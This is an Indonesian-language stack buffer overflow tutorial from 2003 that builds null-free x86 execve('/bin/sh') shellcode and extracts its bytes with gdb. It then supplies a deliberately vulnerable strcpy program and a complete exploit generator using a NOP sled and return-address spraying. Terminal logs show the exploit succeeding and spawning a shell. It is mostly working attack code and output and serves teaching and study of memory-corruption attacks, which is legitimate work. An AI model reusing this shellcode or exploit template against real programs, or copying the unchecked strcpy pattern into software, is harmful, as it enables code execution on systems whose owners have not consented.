0x80481f3 <mulai+20>: 0xcd 0x80 0x83 0xc4 0x10 0x83 0xc4 0x08
0x80481fb <mulai+28>: 0x6a 0x00 0x83 0xec 0x04 0xb8 0x01 0x00
0x8048203 <mulai+36>: 0x00 0x00 0xcd 0x80 0x83 0xc4 0x08 0xeb
0x804820b <mulai+44>: 0x0d 0xe8 0xce 0xff 0xff 0xff 0x2f 0x62
0x8048213 <shell+7>:  0x69 0x6e 0x2f 0x73 0x68 0x00
(gdb)q
[aa]$

hmm... tapi, masih banyak byte 00 di dalamnya, ini tidak bagus buat BO, string yang akan kita inputkan bisa putus di tengah jalan. Tapi tidak apalah, ini cuma sekedar contoh, banyak shelcodes berserakan di rimba kang-ouw, tinggal kita pungut mana yang kita mau sesuai OS target.


Merapikan Shellcode

Shellcode yang efektif, menghasilkan kode byte yang tidak mengandung karakter kontrol (0 - 0x1F), malah kalau bisa juga tidak mengandung simbol-simbol tertentu seperti backslash (\), single/doublequotes ('/"), anglebracket (<>) dsb.

Trik-trik yang bisa digunakan a.l.:

  1. mengganti perintah MOV X dengan pasangan PUSH/POP
  2. menggunakan XOR untuk mereset nilai (membuatnya 0)
  3. mengganti perintah ADD N dengan SUB -N

lain-lain:

  • jika menggunakan displacement index, perbesar/tambah offset hingga lebih dari 0x20
  • usahakan jumlah kode-byte merupakan kelipatan 4

Shellcode dibawah ini memodifikasi kodenya sendiri (self- modifying) yaitu dengan mengisi NULL dibelakang "/bin/sh", serta menyimpan nilai di dua lokasi memori setelahnya (seukuran 2 pointer atau 8 byte). Jadi, program dibawah ini tidak bisa langsung dijalankan, (hanya untuk diambil code-byte-nya saja).

contoh6.c
------------------------------------------------------------
int main() {
asm("
    jmp store

  mulai:
    popl %edi           # salin address \"/bin/sh\" ke DI
    pushl %edi          # simpan lagi ke stack
    xorl %eax,%eax      # reset EAX
    sub $-7,%edi        # incar ujung string \"/bin/sh\"
    cld
    stosb               # ASCIIZ \"/bin/sh\"
    popl %eax           # salin address \"/bin/sh\" ke EAX
    stosl               # simpan ke memory storage1
    xorl %eax,%eax      # reset EAX
    stosl               # simpan ke memory storage2

  param:
    pushl %eax          # -> arg3

    leal -8(%edi),%esi  # ESI = address storage1
    pushl %esi          # -> arg2
    movl -8(%edi),%esi  # ESI = isi memori storage1
    pushl %esi          # -> arg3
//  alternatif lain, lebih singkat:
//    add $-8,%edi
//    pushl %edi
//    pushl (%edi)

    pushl %eax          # dummy, syscall ret-address
    movb $0x3b,%al      # service call = 3B
    int $0x80           # syscall
    sub $-0x16,%esp

//  dipotong, biar irit:
//    xorl %eax,%eax      # reset EAX
//    pushl %eax          # arg1
//    pushl %eax          # dummy
//    inc %eax            # service call = 01
//    int $0x80           # syscall
//    sub $-8,%esp

    leave
    ret

  store:
    call mulai
  shell:
    .ascii \"/bin/sh0\",
  storage1:
    .ascii \"1234\"
  storage2:
    .ascii \"5678\"
CIAO:
");
}
------------------------------------------------------------

[aa]$gcc -o contoh6 contoh6.c
[aa]$echo "print CIAO - (main+3)" | gdb -q contoh6
(gdb) $1 = 56
(gdb) [aa]
[aa]$echo "x/56b main+3" | gdb -q contoh6
(gdb) 0x80481db <main+3>:  0xeb 0x21 0x5f 0x57 0x31 0xc0 0x83 0xef
0x80481e3 <mulai+6>:  0xf9 0xfc 0xaa 0x58 0xab 0x31 0xc0 0xab
0x80481eb <param>:    0x50 0x8d 0x77 0xf8 0x56 0x8b 0x77 0xf8
0x80481f3 <param+8>:  0x56 0x50 0xb0 0x3b 0xcd 0x80 0x83 0xec
0x80481fb <param+16>: 0xea 0xc9 0xc3 0xe8 0xda 0xff 0xff 0xff
0x8048203 <shell>:    0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x30
0x804820b <storage1>: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
(gdb) [aa]$

setelah kita lihat formatnya, langsung kita copy saja ke file contoh7.c supaya tidak repot

[aa]$echo "x/56b main+3" | gdb -q contoh6 |\
> sed -E s/"^.*:(.*)"/"\"\1\""/g |\
> sed -E s/"space:0"/"\\\\"/g |\
> tee contoh7.c
"\xeb\x21\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x8d\x77\xf8\x56\x8b\x77\xf8"
"\x56\x50\xb0\x3b\xcd\x80\x83\xec"
"\xea\xc9\xc3\xe8\xda\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38"
(gdb)
[aa]$

lalu kita edit.

contoh7.c
------------------------------------------------------------
char shell[] =
"\xeb\x21\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x8d\x77\xf8\x56\x8b\x77\xf8"
"\x56\x50\xb0\x3b\xcd\x80\x83\xec"
"\xea\xc9\xc3\xe8\xda\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38"
;

int main() {
  int *ret;
  ret = (int*) &ret + 2; // 2 pointer ke long integer
                         // = 8 bytes
  (*ret) = (int) shell;
}
------------------------------------------------------------

Selanjutnya dikompile dan langsung dicoba:

[aa]$gcc -o contoh7 contoh7.c
[aa]$./contoh7
$ 	=> (INI ADALAH SHELL)
OK, kita sudah masuk kedalam shellcode

$ who am i
aa               ttyp2    Feb 11 00:54 (aa)
$ uname -prs
Annix 4.56-CANTIX i386
$ make love
make: don't know how to make love. Stop
$ echo Inul Daratista have a better asses than pinguin
$ Inul Daratista have a better asses than pinguin
$ exit
[aa]$


Exploit

Pada saat sebuah fungsi dijalankan, dimanapun levelnya berada, awalnya nilai SP-nya selalu sama (nilainya tergantung kepada OS ybs.). Seperti diketahui, return value dari sebuah fungsi diperoleh dari nilai register AX, maka dengan menyalin SP ke AX, kita dapat mengambil nilai SP untuk diproses lebih lanjut.

unsigned long SP(void) {
  asm("movl %esp,%eax");
}

Namun sayangnya kita tidak tahu posisi sebenarnya dari buffer yang akan kita overflow, jadi mau tidak mau ya harus dikira-kira saja sendiri :). Misalnya seperti gambar di bawah ini, jika bufY adalah buffer yang exploitable, maka posisinya di stack adalah SP minus seluruh offset dari buf1 s.d. bufY. Oleh sebab itulah dalam program nanti kita perlu menambah satu variabel yang bisa merubah offset stack ini.

gambar-3.6a.
 ____________________________//___________________|___
   |      |   bufY    |              |    |   |   |
   | bufZ |exploitable| bufX    buf1 |buf0|BP |RET|
 __|______|___________|______//______|____|___|___|___
                                                  |

Tujuan utama kita adalah menimpa return-address yang disimpan di stack agar mengarah kembali ke SP yang berisi shellcode kita. Untuk menambah peluang keberhasilan, kita bungkus shellcode dengan deretan NOP di depannya serta barisan return-address di belakangnya.

gambar-3.6b.
 _________|______________________________________________
   |      |           |               |
   | bufZ |   NOPs..  |   Shellcode   | Return Adresses..
 __|______|___________|_______________|__________________
          |                               |
                                          |JMP
                 |<------------------------


Pada umumnya address alignment adalah 4, artinya data disimpan dalam address memori dalam kelipatan 4, intel sendiri, dengan alasan performansi, memang menyarankan minimal dalam word boundary (kelipatan 2), dalam praktek, compiler seperti gcc malah melipatnya dalam 8 atau 16 (seperti kita lihat pada contoh-contoh diatas yang melakukan perapian stack dalam kelipatan 16 (biasa disebut juga 1 paragraph). Dalam program exploit nanti, kita akan mengakomodasi kemungkinan anomali atas address alignment, buat mengakali program-program yang mungkin dikompile secara tidak standar atau dipatch secara biner sembarangan, udik, kampungan, dsb. dsb.

Oke deh kakak, untuk menguji shellcode, kita buat dulu sebuah program yang secara tidak senonoh, menyalin argumen ke buffernya tanpa melakukan pengechekan dhulu sebhelumnyha:

victim.c
------------------------------------------------------------
#define EXPLOITABLE_BUFFER_SIZE 256

int main(int argc, char *argv[]) {
  char msg[]="no argumen specified";
  char memble[EXPLOITABLE_BUFFER_SIZE];
  strcpy(memble, argc > 1 ? argv[1] : msg);
  printf("%s\n", memble);
}
------------------------------------------------------------

Selanjutnya kita buat program yang menyalin exploit kode ke environment, yang lantas bisa kita inputkan nantinya (supaya tidak perlu diketik manual), sebagai argumen untuk program victim diatas.

Program ini dapat dipanggil dengan argumen kustomisasi yaitu [bufsize] [offset] [alignment] dengan nilai default: 512 0 0

exploit.c
------------------------------------------------------------
#define DEFAULT_BUFSIZE 512
#define DEFAULT_OFFSET 0
#define ALIGNMENT 0
#define ENV_STRING "BUF"
#define NOP 0x90
#define midpointer(X) ((X>>3)<<2)

char shell[] =
"\xeb\x1f\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x83\xc7\xf8\x57\xff\x37\x50"
"\xb0\x3b\xcd\x80\x83\xec\xea\xc9"
"\xc3\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x30\x31\x32"
"\x33\x34\x35\x36\x37\x38"
;

/*
char shell_new[] =
// yang ini lebih singkat
"\xeb\x1f\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x83\xc7\xf8\x57\xff\x37\x50"
"\xb0\x3b\xcd\x80\x83\xec\xea\xc9"
"\xc3\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x30\x31\x32"
"\x33\x34\x35\x36\x37\x38"
;

char shell_old[] =
// yang ini lebih portable
"\xeb\x21\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x8d\x77\xf8\x56\x8b\x77\xf8"
"\x56\x50\xb0\x3b\xcd\x80\x83\xec"
"\xea\xc9\xc3\xe8\xda\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38"
;
*/

int SP(void) {
  asm("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
  char
    *B,		// memory allocated for buffer
    *pb;	// intermediate pointer for buffer
  long
    X,		// return-address as number
    *px;	// counter pointer

  int i,
    bufsize, mid, offsize, align,
    codelength = strlen(shell);

  bufsize = argc > 1 ? atoi(argv[1]) : DEFAULT_BUFSIZE;
  if (bufsize < codelength) bufsize = DEFAULT_BUFSIZE;
  offsize = argc > 2 ? atoi(argv[2]) : DEFAULT_OFFSET;
  align = argc > 3 ? atoi(argv[3])%4 : ALIGNMENT;
  mid = bufsize-midpointer(bufsize);

  if (B = (char*) malloc(bufsize + 1)) { 
    memset(B, NOP, mid);
    pb = B;
  }
  else exit(1);

  X = SP() - offsize;

  printf("shellcode=\n%s\n", shell);
  printf("codelength=%u, bufsize=%u, mid=%u (%u-%u)\n",
    codelength, bufsize, mid, bufsize, bufsize-mid);
  printf("ESP: x%X, Offset: %u (x%X), Effective: x%X, ",
    X+offsize, offsize, offsize, X);
  printf("Alignment %u\n", align);
  printf("Environment variable: \"%s\"\n", ENV_STRING);

  (char *) px = (pb + mid + align); 

  for (i = mid; i < bufsize; i+=4)	// size of pointer
    *(px++) = X;			// = 4 bytes

  pb = B + mid - midpointer(codelength);

  for (i = 0; i < codelength; i++)
    *(pb++) = shell[i];

  B[bufsize] = '\0';

  setenv(ENV_STRING, B, 1);
  system(getenv("SHELL"));

}
------------------------------------------------------------
[aa]$gcc -o exploit exploit.c

Dengan contoh exploitable-buffer sebesar 256 bytes pada program victim diatas, kita coba program exploit untuk mengeset environment variabel BUF dengan exploit-code yang panjangnya 300 (bytes)

[aa]$./exploit 300
shellcode=
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678
codelength=54, bufsize=300, mid=152 (300-148)
ESP: xBFBFFB60, Offset: 0 (x0), Effective: xBFBFFB60, Alignment 0
Environment variable: "BUF"

Program exploit membuka shell baru dengan environment "BUF" yang di-set sesuai exploit-code (300 bytes). Lalu inputkan exploit-code tsb. menjadi argumen untuk program victim:

[aa]$./victim "$BUF"
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿
Bus error (core dumped)
[aa]$

Yaah... hasilnya kacau :(, kita keluar saja deh...

[aa]$exit
exit
[aa]$

Rupanya ada yang kelupaan, karena exploitable-buffer dalam program victim diatas besarnya adalah 256 bytes, maka sebaiknya kita kurangi SP sebesar kira-kira segitu, yaitu dengan menggunakan offset, misalnya 200 lah...

[aa]$./exploit 300 200
shellcode=
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678
codelength=54, bufsize=300, mid=152 (300-148)
ESP: xBFBFFB60, Offset: 200 (xC8), Effective: xBFBFFA98, Alignment 0
Environment variable: "BUF"
[aa]$

Dengan cara yang sama seperti diatas, kita embat lagi buffernya

[aa]$./victim "$BUF"
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿
$ 	=> (INI ADALAH SHELL)

Wow! kereen... :).

$ exit
[aa]$exit
exit
[aa]$

Coba lagi nilai lainnya, nilai offset mestinya lebih besar dari mid (middle point of buffer) supaya return address jatuhnya di bantalan NOP yang empuk.

[aa]$./exploit 400 300
shellcode=
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678
codelength=54, bufsize=400, mid=200 (400-200)
ESP: xBFBFFB60, Offset: 300 (x12C), Effective: xBFBFFA34, Alignment 0
Environment variable: "BUF"
[aa]$./victim "$BUF"
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿
$ 	=> (INI ADALAH SHELL)

Gracias!

$ exit
[aa]$exit
exit
[aa]$





Penutup

Udah-ah, capek :)


_________________________________________________________________
Bacaan:
"Smashing the Stack for Fun and Profit", Aleph One, Phrack Magazine 49, Volume Seven, Issue Forty­Nine, File 14.
_________________________________________________________________
by: aa,
kritik dan saran: aa.delphi.AT.yahoo.DOT.com
jakarta,
20030406
20030415
20030417


Pranala Menarik